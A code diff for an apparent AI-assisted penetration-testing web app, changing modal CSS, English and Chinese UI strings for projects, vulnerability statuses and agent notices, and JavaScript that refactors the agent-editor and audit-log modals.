padding: 4px 10px;
|
padding: 3px 8px;
|
||||||
border-radius: 999px;
|
border-radius: 999px;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
.projects-stat-chip--facts {
|
||||||
|
color: #1d4ed8;
|
||||||
|
background: #dbeafe;
|
||||||
|
border-color: #93c5fd;
|
||||||
|
}
|
||||||
|
.projects-stat-chip--vulns {
|
||||||
|
color: #c2410c;
|
||||||
|
background: #ffedd5;
|
||||||
|
border-color: #fdba74;
|
||||||
|
}
|
||||||
|
.projects-stat-chip--conversations {
|
||||||
|
color: #6d28d9;
|
||||||
|
background: #ede9fe;
|
||||||
|
border-color: #c4b5fd;
|
||||||
}
|
}
|
||||||
.projects-stat-chip--warn {
|
.projects-stat-chip--warn {
|
||||||
color: #92400e;
|
color: #92400e;
|
||||||
@@ -22583,7 +22811,23 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
display: flex;
|
display: flex;
|
||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
gap: 8px;
|
gap: 8px;
|
||||||
align-items: flex-start;
|
align-items: center;
|
||||||
|
align-self: flex-start;
|
||||||
|
margin-top: 2px;
|
||||||
|
}
|
||||||
|
@media (max-width: 860px) {
|
||||||
|
.projects-detail-header {
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: stretch;
|
||||||
|
}
|
||||||
|
.projects-detail-header-actions {
|
||||||
|
align-self: stretch;
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
.projects-detail-stats {
|
||||||
|
padding-left: 0;
|
||||||
|
border-left: none;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
.projects-tabs {
|
.projects-tabs {
|
||||||
display: flex;
|
display: flex;
|
||||||
@@ -23544,10 +23788,8 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
justify-content: center;
|
justify-content: center;
|
||||||
padding: 24px 16px;
|
padding: 24px 16px;
|
||||||
box-sizing: border-box;
|
box-sizing: border-box;
|
||||||
background: rgba(15, 23, 42, 0.45);
|
background: rgba(15, 23, 42, 0.52);
|
||||||
backdrop-filter: blur(4px);
|
animation: projectsOverlayIn 0.15s ease-out;
|
||||||
-webkit-backdrop-filter: blur(4px);
|
|
||||||
animation: projectsOverlayIn 0.2s ease-out;
|
|
||||||
}
|
}
|
||||||
@keyframes projectsOverlayIn {
|
@keyframes projectsOverlayIn {
|
||||||
from { opacity: 0; }
|
from { opacity: 0; }
|
||||||
@@ -23565,7 +23807,8 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
0 24px 48px rgba(15, 23, 42, 0.18),
|
0 24px 48px rgba(15, 23, 42, 0.18),
|
||||||
0 0 0 1px rgba(15, 23, 42, 0.06);
|
0 0 0 1px rgba(15, 23, 42, 0.06);
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
animation: projectsDialogIn 0.25s cubic-bezier(0.22, 1, 0.36, 1);
|
animation: projectsDialogIn 0.18s cubic-bezier(0.22, 1, 0.36, 1);
|
||||||
|
contain: layout style paint;
|
||||||
}
|
}
|
||||||
.projects-modal-dialog--wide {
|
.projects-modal-dialog--wide {
|
||||||
max-width: 640px;
|
max-width: 640px;
|
||||||
@@ -23626,6 +23869,13 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
padding: 10px 12px;
|
padding: 10px 12px;
|
||||||
font-size: 0.875rem;
|
font-size: 0.875rem;
|
||||||
transition: border-color 0.15s, box-shadow 0.15s;
|
transition: border-color 0.15s, box-shadow 0.15s;
|
||||||
|
width: 100%;
|
||||||
|
min-width: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
#project-modal-name {
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
}
|
}
|
||||||
.projects-modal-body .form-input:focus {
|
.projects-modal-body .form-input:focus {
|
||||||
outline: none;
|
outline: none;
|
||||||
@@ -23649,7 +23899,8 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
.projects-modal-footer .btn-primary {
|
.projects-modal-footer .btn-primary {
|
||||||
min-width: 100px;
|
min-width: 100px;
|
||||||
}
|
}
|
||||||
body.projects-modal-open {
|
body.projects-modal-open,
|
||||||
|
body.app-modal-open {
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
}
|
}
|
||||||
.fact-detail-prev-wrap {
|
.fact-detail-prev-wrap {
|
||||||
@@ -23797,8 +24048,11 @@ body.projects-modal-open {
|
|||||||
/* 对话区项目选择器(与角色/代理模式共用 role-selector-*) */
|
/* 对话区项目选择器(与角色/代理模式共用 role-selector-*) */
|
||||||
.project-selector-wrapper .role-selector-text {
|
.project-selector-wrapper .role-selector-text {
|
||||||
max-width: 108px;
|
max-width: 108px;
|
||||||
|
min-width: 0;
|
||||||
|
flex-shrink: 1;
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
text-overflow: ellipsis;
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
}
|
}
|
||||||
.chat-project-panel {
|
.chat-project-panel {
|
||||||
width: 280px;
|
width: 280px;
|
||||||
@@ -23818,6 +24072,7 @@ body.projects-modal-open {
|
|||||||
padding-right: 0;
|
padding-right: 0;
|
||||||
margin: 0;
|
margin: 0;
|
||||||
width: 100%;
|
width: 100%;
|
||||||
|
overflow-x: hidden;
|
||||||
}
|
}
|
||||||
.chat-project-panel .role-selection-item-main {
|
.chat-project-panel .role-selection-item-main {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
|
|||||||
@@ -205,6 +205,7 @@
|
|||||||
"statusConfirmed": "Confirmed",
|
"statusConfirmed": "Confirmed",
|
||||||
"statusFixed": "Fixed",
|
"statusFixed": "Fixed",
|
||||||
"statusFalsePositive": "False positive",
|
"statusFalsePositive": "False positive",
|
||||||
|
"statusIgnored": "Ignored",
|
||||||
"fixRate": "Fix rate",
|
"fixRate": "Fix rate",
|
||||||
"dataStale": "Data may be stale — please refresh",
|
"dataStale": "Data may be stale — please refresh",
|
||||||
"recommendedActions": "Recommended Actions",
|
"recommendedActions": "Recommended Actions",
|
||||||
@@ -285,6 +286,8 @@
|
|||||||
"status": "Status",
|
"status": "Status",
|
||||||
"modalNewTitle": "New project",
|
"modalNewTitle": "New project",
|
||||||
"modalNewSubtitle": "After creation, bind conversations to share fact board across chats",
|
"modalNewSubtitle": "After creation, bind conversations to share fact board across chats",
|
||||||
|
"modalEditTitle": "Edit project",
|
||||||
|
"modalEditSubtitle": "Update project name and description",
|
||||||
"projectName": "Project name",
|
"projectName": "Project name",
|
||||||
"projectNamePlaceholder": "e.g. Client A Web pentest",
|
"projectNamePlaceholder": "e.g. Client A Web pentest",
|
||||||
"projectDescription": "Project description",
|
"projectDescription": "Project description",
|
||||||
@@ -323,6 +326,9 @@
|
|||||||
"statsSparse": "{{count}} incomplete",
|
"statsSparse": "{{count}} incomplete",
|
||||||
"projectNotFound": "Project not found",
|
"projectNotFound": "Project not found",
|
||||||
"updatedPrefix": "Updated {{time}}",
|
"updatedPrefix": "Updated {{time}}",
|
||||||
|
"descExpand": "Show all",
|
||||||
|
"descCollapse": "Show less",
|
||||||
|
"descriptionLengthHint": "Keep it brief (max 4000 chars). Put long logs/POCs in fact board body instead.",
|
||||||
"noMatchingFacts": "No matching facts, try adjusting filters",
|
"noMatchingFacts": "No matching facts, try adjusting filters",
|
||||||
"noFacts": "No facts yet. Click Add fact or let Agent write facts automatically",
|
"noFacts": "No facts yet. Click Add fact or let Agent write facts automatically",
|
||||||
"relatedVulnIdTitle": "Related vulnerability ID",
|
"relatedVulnIdTitle": "Related vulnerability ID",
|
||||||
@@ -406,6 +412,10 @@
|
|||||||
"dangerZoneTitle": "Danger zone",
|
"dangerZoneTitle": "Danger zone",
|
||||||
"dangerZoneHint": "Archived projects are hidden unless 'Show archived' is enabled; deletion removes all facts permanently.",
|
"dangerZoneHint": "Archived projects are hidden unless 'Show archived' is enabled; deletion removes all facts permanently.",
|
||||||
"archiveRestore": "Archive / Restore",
|
"archiveRestore": "Archive / Restore",
|
||||||
|
"archiveProject": "Archive",
|
||||||
|
"editProject": "Edit",
|
||||||
|
"restoreProjectActive": "Restore to active",
|
||||||
|
"projectActions": "Project actions",
|
||||||
"deleteProject": "Delete project",
|
"deleteProject": "Delete project",
|
||||||
"saveChangesHint": "Click save to sync changes to server",
|
"saveChangesHint": "Click save to sync changes to server",
|
||||||
"saveSettings": "Save changes",
|
"saveSettings": "Save changes",
|
||||||
@@ -464,7 +474,7 @@
|
|||||||
"noHistoryConversations": "No conversation history yet",
|
"noHistoryConversations": "No conversation history yet",
|
||||||
"renameGroupPrompt": "Please enter new name:",
|
"renameGroupPrompt": "Please enter new name:",
|
||||||
"deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
|
"deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
|
||||||
"deleteConversationConfirm": "Are you sure you want to delete this conversation?",
|
"deleteConversationConfirm": "Delete this conversation? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
|
||||||
"renameFailed": "Rename failed",
|
"renameFailed": "Rename failed",
|
||||||
"downloadConversationFailed": "Failed to download conversation",
|
"downloadConversationFailed": "Failed to download conversation",
|
||||||
"viewAttackChainSelectConv": "Please select a conversation to view attack chain",
|
"viewAttackChainSelectConv": "Please select a conversation to view attack chain",
|
||||||
@@ -501,6 +511,8 @@
|
|||||||
"einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
|
"einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
|
||||||
"einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
|
"einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
|
||||||
"einoRunRetryTitle": "🔁 Transient error retry",
|
"einoRunRetryTitle": "🔁 Transient error retry",
|
||||||
|
"einoEmptyResponseContinueTitle": "🔁 Auto resume (no assistant text)",
|
||||||
|
"einoEmptyResponseContinueMessage": "Session ended without captured assistant text; resuming from trace…",
|
||||||
"einoRunRetryErrorDetail": "Error detail",
|
"einoRunRetryErrorDetail": "Error detail",
|
||||||
"iterationLimitReachedTitle": "⛔ Iteration limit reached",
|
"iterationLimitReachedTitle": "⛔ Iteration limit reached",
|
||||||
"iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
|
"iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
|
||||||
@@ -958,6 +970,9 @@
|
|||||||
"externalBadge": "External",
|
"externalBadge": "External",
|
||||||
"externalFrom": "External ({{name}})",
|
"externalFrom": "External ({{name}})",
|
||||||
"externalToolFrom": "External MCP - Source: {{name}}",
|
"externalToolFrom": "External MCP - Source: {{name}}",
|
||||||
|
"clickToViewTools": "Click to view tools from {{name}}",
|
||||||
|
"filterBySource": "Source: {{name}}",
|
||||||
|
"clearSourceFilter": "Clear source filter",
|
||||||
"noDescription": "No description",
|
"noDescription": "No description",
|
||||||
"paginationInfo": "{{start}}-{{end}} of {{total}} tools",
|
"paginationInfo": "{{start}}-{{end}} of {{total}} tools",
|
||||||
"perPage": "Per page:",
|
"perPage": "Per page:",
|
||||||
@@ -1577,6 +1592,7 @@
|
|||||||
"timelineSummary": "{{total}} calls in range · peak {{peak}}",
|
"timelineSummary": "{{total}} calls in range · peak {{peak}}",
|
||||||
"timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
|
"timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
|
||||||
"timelineNoData": "No calls in this period",
|
"timelineNoData": "No calls in this period",
|
||||||
|
"timelineEmptyHint": "Switch the time range or invoke MCP tools in chat or tasks",
|
||||||
"timelineLoadError": "Failed to load call trend",
|
"timelineLoadError": "Failed to load call trend",
|
||||||
"timelineTotalLegend": "Total calls",
|
"timelineTotalLegend": "Total calls",
|
||||||
"timelineFailedLegend": "Failed",
|
"timelineFailedLegend": "Failed",
|
||||||
@@ -1803,6 +1819,7 @@
|
|||||||
"statusConfirmed": "Confirmed",
|
"statusConfirmed": "Confirmed",
|
||||||
"statusFixed": "Fixed",
|
"statusFixed": "Fixed",
|
||||||
"statusFalsePositive": "False positive",
|
"statusFalsePositive": "False positive",
|
||||||
|
"statusIgnored": "Ignored",
|
||||||
"searchVulnId": "Search vuln ID",
|
"searchVulnId": "Search vuln ID",
|
||||||
"searchKeyword": "Search title, description, type, target…",
|
"searchKeyword": "Search title, description, type, target…",
|
||||||
"searchKeywordShort": "Keyword",
|
"searchKeywordShort": "Keyword",
|
||||||
@@ -2319,7 +2336,7 @@
|
|||||||
"selectAll": "Select all",
|
"selectAll": "Select all",
|
||||||
"deleteSelected": "Delete selected",
|
"deleteSelected": "Delete selected",
|
||||||
"confirmDeleteNone": "Please select at least one conversation to delete",
|
"confirmDeleteNone": "Please select at least one conversation to delete",
|
||||||
"confirmDeleteN": "Delete {{count}} selected conversation(s)?",
|
"confirmDeleteN": "Delete {{count}} selected conversation(s)? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
|
||||||
"deleteFailed": "Delete failed",
|
"deleteFailed": "Delete failed",
|
||||||
"unnamedConversation": "Unnamed conversation"
|
"unnamedConversation": "Unnamed conversation"
|
||||||
},
|
},
|
||||||
@@ -2465,6 +2482,7 @@
|
|||||||
"statusConfirmed": "Confirmed",
|
"statusConfirmed": "Confirmed",
|
||||||
"statusFixed": "Fixed",
|
"statusFixed": "Fixed",
|
||||||
"statusFalsePositive": "False positive",
|
"statusFalsePositive": "False positive",
|
||||||
|
"statusIgnored": "Ignored",
|
||||||
"type": "Vulnerability type",
|
"type": "Vulnerability type",
|
||||||
"typePlaceholder": "e.g. SQL injection, XSS, CSRF",
|
"typePlaceholder": "e.g. SQL injection, XSS, CSRF",
|
||||||
"target": "Target",
|
"target": "Target",
|
||||||
|
|||||||
@@ -198,6 +198,7 @@
|
|||||||
"statusConfirmed": "已确认",
|
"statusConfirmed": "已确认",
|
||||||
"statusFixed": "已修复",
|
"statusFixed": "已修复",
|
||||||
"statusFalsePositive": "误报",
|
"statusFalsePositive": "误报",
|
||||||
|
"statusIgnored": "已忽略",
|
||||||
"fixRate": "修复率",
|
"fixRate": "修复率",
|
||||||
"dataStale": "数据可能已过期,请手动刷新",
|
"dataStale": "数据可能已过期,请手动刷新",
|
||||||
"recommendedActions": "推荐操作",
|
"recommendedActions": "推荐操作",
|
||||||
@@ -273,6 +274,8 @@
|
|||||||
"status": "状态",
|
"status": "状态",
|
||||||
"modalNewTitle": "新建项目",
|
"modalNewTitle": "新建项目",
|
||||||
"modalNewSubtitle": "创建后可绑定对话,跨会话共享事实黑板",
|
"modalNewSubtitle": "创建后可绑定对话,跨会话共享事实黑板",
|
||||||
|
"modalEditTitle": "编辑项目",
|
||||||
|
"modalEditSubtitle": "修改项目名称与描述",
|
||||||
"projectName": "项目名称",
|
"projectName": "项目名称",
|
||||||
"projectNamePlaceholder": "例如:某客户 Web 渗透",
|
"projectNamePlaceholder": "例如:某客户 Web 渗透",
|
||||||
"projectDescription": "项目描述",
|
"projectDescription": "项目描述",
|
||||||
@@ -311,6 +314,9 @@
|
|||||||
"statsSparse": "{{count}} 待补全",
|
"statsSparse": "{{count}} 待补全",
|
||||||
"projectNotFound": "项目不存在",
|
"projectNotFound": "项目不存在",
|
||||||
"updatedPrefix": "更新于 {{time}}",
|
"updatedPrefix": "更新于 {{time}}",
|
||||||
|
"descExpand": "展开全部",
|
||||||
|
"descCollapse": "收起",
|
||||||
|
"descriptionLengthHint": "简要说明即可(最多 4000 字);大段日志/POC 请写入事实黑板 body",
|
||||||
"noMatchingFacts": "无匹配事实,请调整筛选条件",
|
"noMatchingFacts": "无匹配事实,请调整筛选条件",
|
||||||
"noFacts": "暂无事实,点击「添加事实」或由 Agent 自动写入",
|
"noFacts": "暂无事实,点击「添加事实」或由 Agent 自动写入",
|
||||||
"relatedVulnIdTitle": "关联漏洞 ID",
|
"relatedVulnIdTitle": "关联漏洞 ID",
|
||||||
@@ -394,6 +400,10 @@
|
|||||||
"dangerZoneTitle": "危险操作",
|
"dangerZoneTitle": "危险操作",
|
||||||
"dangerZoneHint": "归档后需在列表勾选「显示已归档」才能查看;删除将清除全部事实且不可恢复。",
|
"dangerZoneHint": "归档后需在列表勾选「显示已归档」才能查看;删除将清除全部事实且不可恢复。",
|
||||||
"archiveRestore": "归档 / 恢复",
|
"archiveRestore": "归档 / 恢复",
|
||||||
|
"archiveProject": "归档",
|
||||||
|
"editProject": "编辑",
|
||||||
|
"restoreProjectActive": "恢复为进行中",
|
||||||
|
"projectActions": "项目操作",
|
||||||
"deleteProject": "删除项目",
|
"deleteProject": "删除项目",
|
||||||
"saveChangesHint": "修改后请点击保存以同步到服务器",
|
"saveChangesHint": "修改后请点击保存以同步到服务器",
|
||||||
"saveSettings": "保存更改",
|
"saveSettings": "保存更改",
|
||||||
@@ -452,7 +462,7 @@
|
|||||||
"noHistoryConversations": "暂无历史对话",
|
"noHistoryConversations": "暂无历史对话",
|
||||||
"renameGroupPrompt": "请输入新名称:",
|
"renameGroupPrompt": "请输入新名称:",
|
||||||
"deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。",
|
"deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。",
|
||||||
"deleteConversationConfirm": "确定要删除此对话吗?",
|
"deleteConversationConfirm": "确定要删除此对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
|
||||||
"renameFailed": "重命名失败",
|
"renameFailed": "重命名失败",
|
||||||
"downloadConversationFailed": "下载对话失败",
|
"downloadConversationFailed": "下载对话失败",
|
||||||
"viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
|
"viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
|
||||||
@@ -489,6 +499,8 @@
|
|||||||
"einoStreamErrorTitle": "⚠️ Eino 流式中断({{agent}})",
|
"einoStreamErrorTitle": "⚠️ Eino 流式中断({{agent}})",
|
||||||
"einoStreamErrorMessage": "流式读取异常,系统将按策略重试或结束。",
|
"einoStreamErrorMessage": "流式读取异常,系统将按策略重试或结束。",
|
||||||
"einoRunRetryTitle": "🔁 临时错误重试",
|
"einoRunRetryTitle": "🔁 临时错误重试",
|
||||||
|
"einoEmptyResponseContinueTitle": "🔁 自动续跑(无助手正文)",
|
||||||
|
"einoEmptyResponseContinueMessage": "会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…",
|
||||||
"einoRunRetryErrorDetail": "具体报错",
|
"einoRunRetryErrorDetail": "具体报错",
|
||||||
"iterationLimitReachedTitle": "⛔ 达到迭代上限",
|
"iterationLimitReachedTitle": "⛔ 达到迭代上限",
|
||||||
"iterationLimitReachedMessage": "已达到最大迭代次数,任务已停止继续自动迭代。",
|
"iterationLimitReachedMessage": "已达到最大迭代次数,任务已停止继续自动迭代。",
|
||||||
@@ -946,6 +958,9 @@
|
|||||||
"externalBadge": "外部",
|
"externalBadge": "外部",
|
||||||
"externalFrom": "外部 ({{name}})",
|
"externalFrom": "外部 ({{name}})",
|
||||||
"externalToolFrom": "外部MCP工具 - 来源:{{name}}",
|
"externalToolFrom": "外部MCP工具 - 来源:{{name}}",
|
||||||
|
"clickToViewTools": "点击查看 {{name}} 的工具",
|
||||||
|
"filterBySource": "来源: {{name}}",
|
||||||
|
"clearSourceFilter": "清除来源筛选",
|
||||||
"noDescription": "无描述",
|
"noDescription": "无描述",
|
||||||
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
|
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
|
||||||
"perPage": "每页:",
|
"perPage": "每页:",
|
||||||
@@ -1565,6 +1580,7 @@
|
|||||||
"timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
|
"timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
|
||||||
"timelineSparseHint": "该时段多数时间为 0,峰值 {{peak}} 次出现在 {{peakTime}}",
|
"timelineSparseHint": "该时段多数时间为 0,峰值 {{peak}} 次出现在 {{peakTime}}",
|
||||||
"timelineNoData": "该时段暂无调用",
|
"timelineNoData": "该时段暂无调用",
|
||||||
|
"timelineEmptyHint": "切换时间范围查看其他时段,或在对话/任务中调用 MCP 工具",
|
||||||
"timelineLoadError": "无法加载调用趋势",
|
"timelineLoadError": "无法加载调用趋势",
|
||||||
"timelineTotalLegend": "总调用",
|
"timelineTotalLegend": "总调用",
|
||||||
"timelineFailedLegend": "失败",
|
"timelineFailedLegend": "失败",
|
||||||
@@ -1791,6 +1807,7 @@
|
|||||||
"statusConfirmed": "已确认",
|
"statusConfirmed": "已确认",
|
||||||
"statusFixed": "已修复",
|
"statusFixed": "已修复",
|
||||||
"statusFalsePositive": "误报",
|
"statusFalsePositive": "误报",
|
||||||
|
"statusIgnored": "已忽略",
|
||||||
"searchVulnId": "搜索漏洞 ID",
|
"searchVulnId": "搜索漏洞 ID",
|
||||||
"searchKeyword": "搜索标题、描述、类型、目标…",
|
"searchKeyword": "搜索标题、描述、类型、目标…",
|
||||||
"searchKeywordShort": "关键词",
|
"searchKeywordShort": "关键词",
|
||||||
@@ -2307,7 +2324,7 @@
|
|||||||
"selectAll": "全选",
|
"selectAll": "全选",
|
||||||
"deleteSelected": "删除所选",
|
"deleteSelected": "删除所选",
|
||||||
"confirmDeleteNone": "请先选择要删除的对话",
|
"confirmDeleteNone": "请先选择要删除的对话",
|
||||||
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?",
|
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
|
||||||
"deleteFailed": "删除失败",
|
"deleteFailed": "删除失败",
|
||||||
"unnamedConversation": "未命名对话"
|
"unnamedConversation": "未命名对话"
|
||||||
},
|
},
|
||||||
@@ -2453,6 +2470,7 @@
|
|||||||
"statusConfirmed": "已确认",
|
"statusConfirmed": "已确认",
|
||||||
"statusFixed": "已修复",
|
"statusFixed": "已修复",
|
||||||
"statusFalsePositive": "误报",
|
"statusFalsePositive": "误报",
|
||||||
|
"statusIgnored": "已忽略",
|
||||||
"type": "漏洞类型",
|
"type": "漏洞类型",
|
||||||
"typePlaceholder": "如:SQL注入、XSS、CSRF等",
|
"typePlaceholder": "如:SQL注入、XSS、CSRF等",
|
||||||
"target": "目标",
|
"target": "目标",
|
||||||
|
|||||||
+20
-17
@@ -105,45 +105,48 @@ function showAddMarkdownAgentModal() {
|
|||||||
document.getElementById('agent-md-bind-role').value = '';
|
document.getElementById('agent-md-bind-role').value = '';
|
||||||
document.getElementById('agent-md-max-iter').value = '0';
|
document.getElementById('agent-md-max-iter').value = '0';
|
||||||
document.getElementById('agent-md-instruction').value = '';
|
document.getElementById('agent-md-instruction').value = '';
|
||||||
if (modal) modal.style.display = 'flex';
|
openAppModal('agent-md-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
async function editMarkdownAgent(filename) {
|
async function editMarkdownAgent(filename) {
|
||||||
if (!filename) return;
|
if (!filename) return;
|
||||||
const modal = document.getElementById('agent-md-modal');
|
|
||||||
const title = document.getElementById('agent-md-modal-title');
|
const title = document.getElementById('agent-md-modal-title');
|
||||||
const row = document.getElementById('agent-md-filename-row');
|
const row = document.getElementById('agent-md-filename-row');
|
||||||
markdownAgentsEditingFilename = null;
|
markdownAgentsEditingFilename = null;
|
||||||
markdownAgentsEditingIsOrchestrator = false;
|
markdownAgentsEditingIsOrchestrator = false;
|
||||||
if (title) title.textContent = _agentsT('agentsPage.editTitle');
|
if (title) title.textContent = _agentsT('agentsPage.editTitle');
|
||||||
if (row) row.style.display = 'none';
|
if (row) row.style.display = 'none';
|
||||||
|
document.getElementById('agent-md-instruction').value = '';
|
||||||
|
openAppModal('agent-md-modal', { focus: false });
|
||||||
try {
|
try {
|
||||||
const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename));
|
const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename));
|
||||||
const data = await r.json();
|
const data = await r.json();
|
||||||
if (!r.ok) throw new Error(data.error || r.statusText);
|
if (!r.ok) throw new Error(data.error || r.statusText);
|
||||||
markdownAgentsEditingFilename = data.filename || filename;
|
markdownAgentsEditingFilename = data.filename || filename;
|
||||||
markdownAgentsEditingIsOrchestrator = !!data.is_orchestrator;
|
markdownAgentsEditingIsOrchestrator = !!data.is_orchestrator;
|
||||||
document.getElementById('agent-md-filename-current').value = data.filename || filename;
|
deferModalContent(function () {
|
||||||
document.getElementById('agent-md-filename').value = data.filename || filename;
|
document.getElementById('agent-md-filename-current').value = data.filename || filename;
|
||||||
document.getElementById('agent-md-filename').disabled = true;
|
document.getElementById('agent-md-filename').value = data.filename || filename;
|
||||||
var roleEl2 = document.getElementById('agent-md-role');
|
document.getElementById('agent-md-filename').disabled = true;
|
||||||
if (roleEl2) roleEl2.value = data.is_orchestrator ? 'orchestrator' : 'sub';
|
var roleEl2 = document.getElementById('agent-md-role');
|
||||||
document.getElementById('agent-md-id').value = data.id || '';
|
if (roleEl2) roleEl2.value = data.is_orchestrator ? 'orchestrator' : 'sub';
|
||||||
document.getElementById('agent-md-name').value = data.name || '';
|
document.getElementById('agent-md-id').value = data.id || '';
|
||||||
document.getElementById('agent-md-description').value = data.description || '';
|
document.getElementById('agent-md-name').value = data.name || '';
|
||||||
document.getElementById('agent-md-tools').value = Array.isArray(data.tools) ? data.tools.join(', ') : '';
|
document.getElementById('agent-md-description').value = data.description || '';
|
||||||
document.getElementById('agent-md-bind-role').value = data.bind_role || '';
|
document.getElementById('agent-md-tools').value = Array.isArray(data.tools) ? data.tools.join(', ') : '';
|
||||||
document.getElementById('agent-md-max-iter').value = String(data.max_iterations != null ? data.max_iterations : 0);
|
document.getElementById('agent-md-bind-role').value = data.bind_role || '';
|
||||||
document.getElementById('agent-md-instruction').value = data.instruction || '';
|
document.getElementById('agent-md-max-iter').value = String(data.max_iterations != null ? data.max_iterations : 0);
|
||||||
if (modal) modal.style.display = 'flex';
|
document.getElementById('agent-md-instruction').value = data.instruction || '';
|
||||||
|
document.getElementById('agent-md-name')?.focus();
|
||||||
|
});
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
closeMarkdownAgentModal();
|
||||||
showNotification(_agentsT('agentsPage.loadOneFailed') + ': ' + e.message, 'error');
|
showNotification(_agentsT('agentsPage.loadOneFailed') + ': ' + e.message, 'error');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeMarkdownAgentModal() {
|
function closeMarkdownAgentModal() {
|
||||||
const modal = document.getElementById('agent-md-modal');
|
closeAppModal('agent-md-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
markdownAgentsEditingFilename = null;
|
markdownAgentsEditingFilename = null;
|
||||||
markdownAgentsEditingIsOrchestrator = false;
|
markdownAgentsEditingIsOrchestrator = false;
|
||||||
}
|
}
|
||||||
|
|||||||
+38
-33
@@ -533,56 +533,61 @@ async function exportAuditLogsCsv() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function closeAuditDetailModal() {
|
function closeAuditDetailModal() {
|
||||||
|
closeAppModal('audit-detail-modal');
|
||||||
const el = document.getElementById('audit-detail-modal');
|
const el = document.getElementById('audit-detail-modal');
|
||||||
if (el) el.remove();
|
if (el) el.remove();
|
||||||
|
syncAppModalBodyLock();
|
||||||
}
|
}
|
||||||
|
|
||||||
async function showAuditLogDetail(id) {
|
async function showAuditLogDetail(id) {
|
||||||
if (!id || typeof apiFetch !== 'function') return;
|
if (!id || typeof apiFetch !== 'function') return;
|
||||||
const esc = typeof escapeHtml === 'function' ? escapeHtml : function (s) { return String(s || ''); };
|
const esc = typeof escapeHtml === 'function' ? escapeHtml : function (s) { return String(s || ''); };
|
||||||
try {
|
try {
|
||||||
|
closeAuditDetailModal();
|
||||||
|
const overlay = document.createElement('div');
|
||||||
|
overlay.id = 'audit-detail-modal';
|
||||||
|
overlay.className = 'modal';
|
||||||
|
document.body.appendChild(overlay);
|
||||||
|
openAppModal(overlay, { focus: false });
|
||||||
const r = await apiFetch('/api/audit/logs/' + encodeURIComponent(id));
|
const r = await apiFetch('/api/audit/logs/' + encodeURIComponent(id));
|
||||||
if (!r.ok) throw new Error('not found');
|
if (!r.ok) throw new Error('not found');
|
||||||
const data = await r.json();
|
const data = await r.json();
|
||||||
const log = data.log || {};
|
const log = data.log || {};
|
||||||
const detail = log.detail ? JSON.stringify(log.detail, null, 2) : '';
|
const detail = log.detail ? JSON.stringify(log.detail, null, 2) : '';
|
||||||
closeAuditDetailModal();
|
|
||||||
const overlay = document.createElement('div');
|
|
||||||
overlay.id = 'audit-detail-modal';
|
|
||||||
overlay.className = 'modal';
|
|
||||||
overlay.style.display = 'block';
|
|
||||||
const catAction = esc(auditCategoryLabel(log.category || '')) + ' / ' + esc(auditActionLabel(log.action || ''));
|
const catAction = esc(auditCategoryLabel(log.category || '')) + ' / ' + esc(auditActionLabel(log.action || ''));
|
||||||
overlay.innerHTML =
|
deferModalContent(function () {
|
||||||
'<div class="modal-content" style="max-width: 720px;">' +
|
overlay.innerHTML =
|
||||||
'<div class="modal-header">' +
|
'<div class="modal-content" style="max-width: 720px;">' +
|
||||||
'<h2>' + esc(auditT('settingsAudit.detailTitle', null, '审计详情')) + '</h2>' +
|
'<div class="modal-header">' +
|
||||||
'<span class="modal-close" onclick="closeAuditDetailModal()">×</span>' +
|
'<h2>' + esc(auditT('settingsAudit.detailTitle', null, '审计详情')) + '</h2>' +
|
||||||
